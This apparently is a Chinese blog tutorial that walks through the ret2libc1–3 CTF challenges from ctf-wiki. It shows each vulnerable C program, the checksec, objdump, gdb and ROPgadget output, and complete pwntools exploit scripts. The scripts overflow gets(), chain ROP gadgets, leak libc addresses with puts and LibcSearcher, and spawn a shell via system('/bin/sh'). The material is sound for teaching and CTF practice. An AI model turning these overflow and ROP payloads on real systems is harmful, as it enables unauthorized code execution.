Ret2libc

三生三世十里桃花 她就像是一道疤
像风像雨像飞沙 像空气一样难抓


简介

ret2libc就是控制函数的执行libc中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),因此我们通常需要找到 system 函数的地址
ret2libc通常可以分为下面这几类:

  • 程序中自身就含有system函数和”/bin/sh”字符串
  • 程序中自身就有system函数,但是没有”/bin/sh”字符串
  • 程序中自身就没有system函数和”/bin/sh”字符串,但给出了libc.so文件
  • 程序中自身就没有system函数和”/bin/sh”字符串,并且没有给出libc.so文件

基本思路

不管程序没有直接给出我们需要条件,我们都要想办法找到system()函数的地址和”/bin/sh”字符串的地址;当程序中没有”/bin/sh”字符串时,我们可以利用程序中某些函数如:read,fgets,gets等函数将”/bin/sh”字符串写入bss段或某个变量中,并且要可以找到其地址;对于只给出了libc.so文件的程序,我们可以直接在libc.so文件当中去找system()函数和”/bin/sh”字符串,因为libc.so文件中也是包含这些了的;最后对于没有给出libc.so文件的程序,我们可以通过泄露出程序当中的某个函数的地址,通过查询来找出其使用lib.so版本是哪一个
我们以ctf-wiki中例子来看看具体方法


ret2libc1

ret2libc1的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

char *shell = "/bin/sh";
char buf2[100];

void secure(void)
{
int secretcode, input;
srand(time(NULL));

secretcode = rand();
scanf("%d", &input);
if(input == secretcode)
system("shell!?");
}

int main(void)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);

char buf1[100];

printf("RET2LIBC >_<\n");
gets(buf1);

return 0;
}

很明显查询当中有system()函数和”/bin/sh”字符串,并且有一个溢出漏洞
我们先看看它的保护开了哪些:

1
2
3
4
5
6
7
root@sir-PC:/ret2libc1# checksec ret2libc1
[*] '/ret2libc1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

没有开Stack和PIE,所以思路非常清晰了,只需要用system()函数的plt覆盖返回地址,并且将字符串传进去就可以了
找system()函数的plt位置:

1
2
3
4
5
6
7
8
9
10
11
12
root@sir-PC:/ret2libc1# objdump -dj .plt ret2libc1
...
08048450 <puts@plt>:
8048450: ff 25 14 a0 04 08 jmp *0x804a014
8048456: 68 10 00 00 00 push $0x10
804845b: e9 c0 ff ff ff jmp 8048420 <.plt>

08048460 <system@plt>:
8048460: ff 25 18 a0 04 08 jmp *0x804a018
8048466: 68 18 00 00 00 push $0x18
804846b: e9 b0 ff ff ff jmp 8048420 <.plt>
...

找字符串的位置和多少字节溢出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@sir-PC:/ret2libc1# gdb ret2libc1
pwndbg: loaded 174 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ret2libc1...done.
pwndbg> b main
Breakpoint 1 at 0x8048621: file ret2libc1.c, line 21.
pwndbg> cyclic 120
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaab
pwndbg> r
pwndbg> search "/bin/sh"
ret2libc1 0x8048720 0x6e69622f /* '/bin/sh' */
ret2libc1 0x8049720 '/bin/sh' //字符串地址
libc-2.27.so 0xf7f53988 das /* '/bin/sh' */
pwndbg> c
Continuing.
RET2LIBC >_<
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaab

Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
pwndbg> cyclic -l 0x62616164
112 //溢出数


EXP1

1
2
3
4
5
6
7
8
from pwn import *
p = process('./ret2libc1')
context.log_level = 'debug'
system_addr = 0x08048460
binsh_addr = 0x8049720
p.recvuntil('RET2LIBC >_<\n')
p.sendline('a'*112 + p32(system_addr) + 'aaaa' + p32(binsh_addr))
p.interactive()

ret2libc2

ret2libc2的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

char buf2[100];

void secure(void)
{
int secretcode, input;
srand(time(NULL));

secretcode = rand();
scanf("%d", &input);
if(input == secretcode)
system("no_shell_QQ");
}

int main(void)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);

char buf1[100];

printf("Something surprise here, but I don't think it will work.\n");
printf("What do you think ?");
gets(buf1);

return 0;
}

明显看到了system()函数,但是没有看到”/bin/sh”字符串,而且有溢出
看看保护机制:

1
2
3
4
5
6
7
root@sir-PC:/ret2libc2# checksec ret2libc2
[*] '/ret2libc2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

所以现在思路也非常清晰,我们通过gest()函数向bss段或者直接是buf2中写入”/bin/sh/“,然后再将其作为参数传给system()函数,其中这里要用到ROP的技术,即我们payload为:

1
payload = flat(['a' * 112, gets_plt, pop_ebx, buf2, system_plt, 'aaaa', buf2])

找溢出数和buf2的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@sir-PC:/ret2libc2# gdb ret2libc2
pwndbg: loaded 174 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ret2libc2...done.
pwndbg> b main
Breakpoint 1 at 0x8048651: file ret2libc.c, line 20.
pwndbg> cyclic 120
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaab
pwndbg> r
pwndbg> p &buf2
$2 = (char (*)[100]) 0x804a080 <buf2>
pwndbg> c
Continuing.
Something surprise here, but I don't think it will work.
What do you think ?aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaab
Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
pwndbg> cyclic -l 0x62616164
112

找gets()和system()函数的plt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@sir-PC:/ret2libc2# objdump -dj .plt ret2libc2
...

08048460 <gets@plt>:
8048460: ff 25 10 a0 04 08 jmp *0x804a010
8048466: 68 08 00 00 00 push $0x8
804846b: e9 d0 ff ff ff jmp 8048440 <.plt>

...

08048480 <puts@plt>:
8048480: ff 25 18 a0 04 08 jmp *0x804a018
8048486: 68 18 00 00 00 push $0x18
804848b: e9 b0 ff ff ff jmp 8048440 <.plt>

08048490 <system@plt>:
8048490: ff 25 1c a0 04 08 jmp *0x804a01c
8048496: 68 20 00 00 00 push $0x20
804849b: e9 a0 ff ff ff jmp 8048440 <.plt>

找合适的ROP:

1
2
3
4
5
6
7
8
9
10
11
12
root@sir-PC:/ret2libc2# ROPgadget --binary ret2libc2 --only "pop|ret"
Gadgets information
============================================================
0x0804872f : pop ebp ; ret
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret //这个就合适,因为我们只有一个数据需要pop掉
0x0804872e : pop edi ; pop ebp ; ret
0x0804872d : pop esi ; pop edi ; pop ebp ; ret
0x08048426 : ret
0x0804857e : ret 0xeac1

Unique gadgets found: 7


EXP2

1
2
3
4
5
6
7
8
9
10
from pwn import *
p = process('./ret2libc2')
buf2_addr = 0x804a080
gets_addr = 0x8048460
system_addr = 0x8048490
pop_ebx_addr = 0x0804843d
p.recvuntil('What do you think ?')
p.sendline('a'*112 + p32(gets_addr) + p32(pop_ebx_addr) + p32(buf2_addr) + p32(system_addr) + 'aaaa' + p32(buf2_addr))
p.sendline('/bin/sh\x00')
p.interactive()


1
2
3
4
5
6
7
8
9
from pwn import *
proc = './ret2libc2'
p = process(proc)
elf = ELF(proc)
rop = ROP(elf)
rop_ebx = 0x0804843d
p.sendlineafter('?','a'*112 + p32(elf.plt['gets']) + p32(rop.search(8).address) + p32(elf.bss()+0x100) + p32(elf.plt['system']) + 'aaaa' + p32(elf.bss()+0x100))
p.sendline("/bin/sh\x00")
p.interactive()

这两个exp其实都一样的,不过一个向buf2中写数据,一个在bss段写


ret2libc3

ret2libc3的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdio.h>
#include <stdlib.h>
#include <time.h>

char buf2[100];

void secure(void)
{
int secretcode, input;
srand(time(NULL));

secretcode = rand();
scanf("%d", &input);
if(input == secretcode)
puts("no_shell_QQ");
}

int main(void)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);

char buf1[100];

printf("No surprise anymore, system disappeard QQ.\n");
printf("Can you find it !?");
gets(buf1);

return 0;
}

这程序当中没有system()函数和”/bin/sh“字符串,虽然给出了libc.so文件,但是我们不用,假装我们没有libc
我们还是先检查保护机制:

1
2
3
4
5
6
7
root@sir-PC:/ret2libc3# checksec ret2libc3
[*] '/ret2libc3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

同样的没有开启Stack和PIE,所以这道题的思路就是利用puts()函数来泄露出某个函数在libc中的地址,然后在这个网站或通过LibcSearcher工具查询地址低12位来确定libc的版本
这道题我是通过puts()函数将libc_start_main在libc中的地址泄露出来,然后通过LibcSearcher去查找libc的版本,最终得到system()函数和”/bin/sh”字符串的地址
不过需要注意的,这个LibcSearcher工具找到libc版本可能有多个,需要你去判断,而且得到的字符串的地址不一定刚刚好,可能需要通过调试去验证。。。
先查看
libc_start_main的got表地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@sir-PC:/ret2libc3# objdump -R ret2libc3

ret2libc3: 文件格式 elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ffc R_386_GLOB_DAT __gmon_start__
0804a040 R_386_COPY stdin@@GLIBC_2.0
0804a060 R_386_COPY stdout@@GLIBC_2.0
0804a00c R_386_JUMP_SLOT printf@GLIBC_2.0
0804a010 R_386_JUMP_SLOT gets@GLIBC_2.0
0804a014 R_386_JUMP_SLOT time@GLIBC_2.0
0804a018 R_386_JUMP_SLOT puts@GLIBC_2.0
0804a01c R_386_JUMP_SLOT __gmon_start__
0804a020 R_386_JUMP_SLOT srand@GLIBC_2.0
0804a024 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0 //这个函数用起方便
0804a028 R_386_JUMP_SLOT setvbuf@GLIBC_2.0
0804a02c R_386_JUMP_SLOT rand@GLIBC_2.0
0804a030 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7

找puts()函数的plt表:

1
2
3
4
5
6
7
8
9
10
11
root@sir-PC:/ret2libc3# objdump -dj .plt ret2libc3

ret2libc3: 文件格式 elf32-i386

Disassembly of section .plt:
...
08048460 <puts@plt>:
8048460: ff 25 18 a0 04 08 jmp *0x804a018
8048466: 68 18 00 00 00 push $0x18
804846b: e9 b0 ff ff ff jmp 8048420 <.plt>
...

这里先提一下LibcSearcher的安装及其用法:
安装:

1
2
3
git clone https://github.com/lieanu/LibcSearcher.git
cd LibcSearcher
python setup.py develop

用法演示:

1
2
3
4
5
6
7
8
from LibcSearcher import *

#第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
obj = LibcSearcher("fgets", 0X7ff39014bd90)

obj.dump("system") #system 偏移
obj.dump("str_bin_sh") #/bin/sh 偏移
obj.dump("__libc_start_main_ret")

如果遇到返回多个libc版本库的情况,可以通过add_condition(leaked_func, leaked_address)来添加限制条件,也可以手工选择其中一个libc版本


EXP3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from LibcSearcher import LibcSearcher
p = process('./ret2libc3')
context.log_level = 'debug'
start_addr = 0x80484d0
puts_plt_addr = 0x8048460
libc_start_main_got_addr = 0x804a024
p.recvuntil('Can you find it !?')
p.sendline('q'*112 + p32(puts_plt_addr) + p32(start_addr) + p32(libc_start_main_got_addr))
libc_start_main_addr = u32(p.recv(4))
print "__libc_start_main_addr: " + hex(libc_start_main_addr)

libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh') + 0xb9
print "system_addr: " + hex(system_addr)
print "binsh_addr: " + hex(binsh_addr)
p.recvuntil('Can you find it !?')
p.sendline('s'*112 + p32(system_addr) + 'aaaa' + p32(binsh_addr))
p.interactive()

总结

这些ret2libc应该是属于ROP技术里面的基本操作,要求熟练掌握……

文章目录
  1. 1. 简介
  2. 2. 基本思路
  3. 3. ret2libc1
  4. 4. EXP1
  5. 5. ret2libc2
  6. 6. EXP2
  7. 7. ret2libc3
  8. 8. EXP3
  9. 9. 总结
,